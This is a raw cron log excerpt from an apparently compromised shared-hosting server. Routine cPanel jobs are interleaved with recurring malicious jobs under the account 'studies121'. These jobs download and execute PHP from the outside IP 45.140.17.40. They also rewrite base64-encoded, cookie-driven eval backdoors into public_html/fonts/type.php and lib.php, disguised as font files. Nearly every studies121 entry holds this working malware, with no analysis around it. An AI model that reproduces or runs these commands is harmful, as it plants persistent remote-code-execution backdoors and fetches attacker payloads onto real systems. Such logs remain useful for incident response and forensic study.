Sep 12 16:00:01 ip-184-168-122-23 CROND[20832]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 16:00:01 ip-184-168-122-23 CROND[20834]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:00:01 ip-184-168-122-23 CROND[20836]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 16:00:01 ip-184-168-122-23 CROND[20837]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 16:00:01 ip-184-168-122-23 CROND[20839]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep 12 16:00:01 ip-184-168-122-23 CROND[20841]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 16:00:01 ip-184-168-122-23 CROND[20838]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:00:01 ip-184-168-122-23 CROND[20846]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 16:00:01 ip-184-168-122-23 CROND[20847]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 16:01:01 ip-184-168-122-23 CROND[20957]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 16:01:01 ip-184-168-122-23 CROND[20962]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 16:01:01 ip-184-168-122-23 CROND[20961]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:01:01 ip-184-168-122-23 CROND[20959]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:01:01 ip-184-168-122-23 CROND[20960]: (root) CMD (run-parts /etc/cron.hourly)
Sep 12 16:01:01 ip-184-168-122-23 CROND[20963]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 16:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[20960]: starting 0anacron
Sep 12 16:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[20979]: finished 0anacron
Sep 12 16:02:01 ip-184-168-122-23 CROND[21054]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:02:01 ip-184-168-122-23 CROND[21055]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 16:02:01 ip-184-168-122-23 CROND[21058]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 16:02:01 ip-184-168-122-23 CROND[21057]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 16:02:01 ip-184-168-122-23 CROND[21059]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:03:01 ip-184-168-122-23 CROND[21141]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 16:03:01 ip-184-168-122-23 CROND[21142]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 16:03:01 ip-184-168-122-23 CROND[21143]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:03:01 ip-184-168-122-23 CROND[21145]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:04:01 ip-184-168-122-23 CROND[21344]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:04:01 ip-184-168-122-23 CROND[21345]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 16:04:01 ip-184-168-122-23 CROND[21348]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 16:04:01 ip-184-168-122-23 CROND[21349]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 16:04:01 ip-184-168-122-23 CROND[21350]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:05:01 ip-184-168-122-23 CROND[21468]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:05:01 ip-184-168-122-23 CROND[21466]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 16:05:01 ip-184-168-122-23 CROND[21467]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 16:05:01 ip-184-168-122-23 CROND[21464]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:05:01 ip-184-168-122-23 CROND[21471]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 16:05:01 ip-184-168-122-23 CROND[21465]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 16:05:01 ip-184-168-122-23 CROND[21472]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 16:06:01 ip-184-168-122-23 CROND[21580]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:06:01 ip-184-168-122-23 CROND[21582]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 16:06:01 ip-184-168-122-23 CROND[21583]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 16:06:01 ip-184-168-122-23 CROND[21585]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 16:06:01 ip-184-168-122-23 CROND[21584]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:07:01 ip-184-168-122-23 CROND[21674]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:07:01 ip-184-168-122-23 CROND[21676]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 16:07:01 ip-184-168-122-23 CROND[21677]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 16:07:01 ip-184-168-122-23 CROND[21680]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:08:02 ip-184-168-122-23 CROND[21758]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 16:08:02 ip-184-168-122-23 CROND[21759]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 16:08:02 ip-184-168-122-23 CROND[21761]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 16:08:02 ip-184-168-122-23 CROND[21760]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:08:02 ip-184-168-122-23 CROND[21763]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:09:01 ip-184-168-122-23 CROND[21930]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:09:01 ip-184-168-122-23 CROND[21932]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 16:09:01 ip-184-168-122-23 CROND[21935]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:09:01 ip-184-168-122-23 CROND[21934]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 12 16:09:01 ip-184-168-122-23 CROND[21936]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 16:10:02 ip-184-168-122-23 CROND[22028]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 16:10:02 ip-184-168-122-23 CROND[22030]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 16:10:02 ip-184-168-122-23 CROND[22031]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 16:10:02 ip-184-168-122-23 CROND[22032]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 16:10:02 ip-184-168-122-23 CROND[22034]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:10:02 ip-184-168-122-23 CROND[22035]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 16:10:02 ip-184-168-122-23 CROND[22036]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:10:02 ip-184-168-122-23 CROND[22033]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 16:11:01 ip-184-168-122-23 CROND[22136]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:11:01 ip-184-168-122-23 CROND[22138]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 16:11:01 ip-184-168-122-23 CROND[22139]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
